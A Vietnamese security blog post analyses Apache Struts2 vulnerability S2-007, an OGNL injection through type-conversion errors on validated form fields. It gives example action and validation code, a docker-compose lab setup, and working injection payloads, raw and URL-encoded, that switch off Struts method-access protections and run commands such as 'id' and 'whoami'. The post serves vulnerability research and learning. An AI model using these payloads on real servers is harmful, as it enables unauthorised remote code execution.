HuuTuan .Info

Chia sẻ ATTT - CNTT - Đồ họa

Lỗ hổng bảo mật trên Apache Struts2 (S2-007)

1. Mô tả


Sau bài viết nghiên cứu về S2-001, S2-005 vào tuần trước, hôm nay tôi tiếp tục phân tích lỗ hổng S2-007. Nếu có bất kỳ thiếu sót nào, tôi hy vọng sẽ được các bạn  cho thêm lời khuyên. Hi vọng sẽ được cùng các bạn cùng nghiên cứu những lỗ hổng này.



2. Thông tin lỗ hổng



Nguyên nhân gây ra lỗ hổng:
Input lỗi là do OGNL expression trong quá trình chuyển đổi. Điều này cho phép người thực thi các đoạn mã độc hại để tiến hành RCE

Khi qác luật hợp lệ được cấu hình và xảy ra lỗi trong việc chuyển đổi , việc nối chuỗi sai được thực hiện và thành công từ đó thực thi được OGNL expression.


3. Khai thác


Ta có <ActionName> -validation.xml được thiết lập các luật hợp lệ. Nếu việc chuyển đổi các quy tắc hợp lệ không thành công, máy chủ sẽ ghép các giá trị string trong form mà người dùng nhập, sau đó thực hiện phân tích cú pháp OGNL expression và trả về kết quả.

Ta có ví dụ về UserAction:
(...)
public class UserAction extends ActionSupport {
    private Integer age;
    private String name;
    private String email;

(...)
và cấu hình cho UserAction-validation.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
    "-//OpenSymphony Group//XWork Validator 1.0//EN"
    "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
    <field name="age">
        <field-validator type="int">
            <param name="min">1</param>
            <param name="max">150</param>
        </field-validator>
    </field>
</validators>
Khi người dùng gửi lên age một chuỗi str thay vì gửi lên int, Server sẽ ghép "'" + value + "'" wới code và sau đó dùng OGNL expression để phân tích. Để có thể exploit thành công, chúng ta sẽ tìm form field được cấu hình giống với những luật hợp lệ để có thể tạo ra một chuyển đổi lỗi. Sau đó ta có thể chèn bất kỳ OGNL expression code bằng cách giống như cách dùng single quotes với SQL
Payload để bypass cấu hình an toàn
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '

Cài đặt

docker-compose build
docker-compose up -d

Exploit

Đây là payload dùng để RCE:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
=%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29+%2B+%27

Chèn payload vào input (age), sau đó ta thu được kết quả như dưới:



Payload 2:

%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27





0 Response to "Lỗ hổng bảo mật trên Apache Struts2 (S2-007)"

Post a Comment

Nội Quy Khi Comment:
» Các bài comment phải nghiêm túc, không dung tục, không spam.
» Nội dung phải liên quan tới chủ đề bài viết.
» Những nhận xét spam sẽ bị xóa.
» Sử dụng tài khoản Google để được trợ giúp.
» Nặc danh thường không được chào đón.
Note : Hãy để lại nhận xét bên dưới bạn nhé !

Quảng Cáo TOP

Quảng Cáo TOP 1

Quảng Cáo TOP 2

Quảng Cáo TOP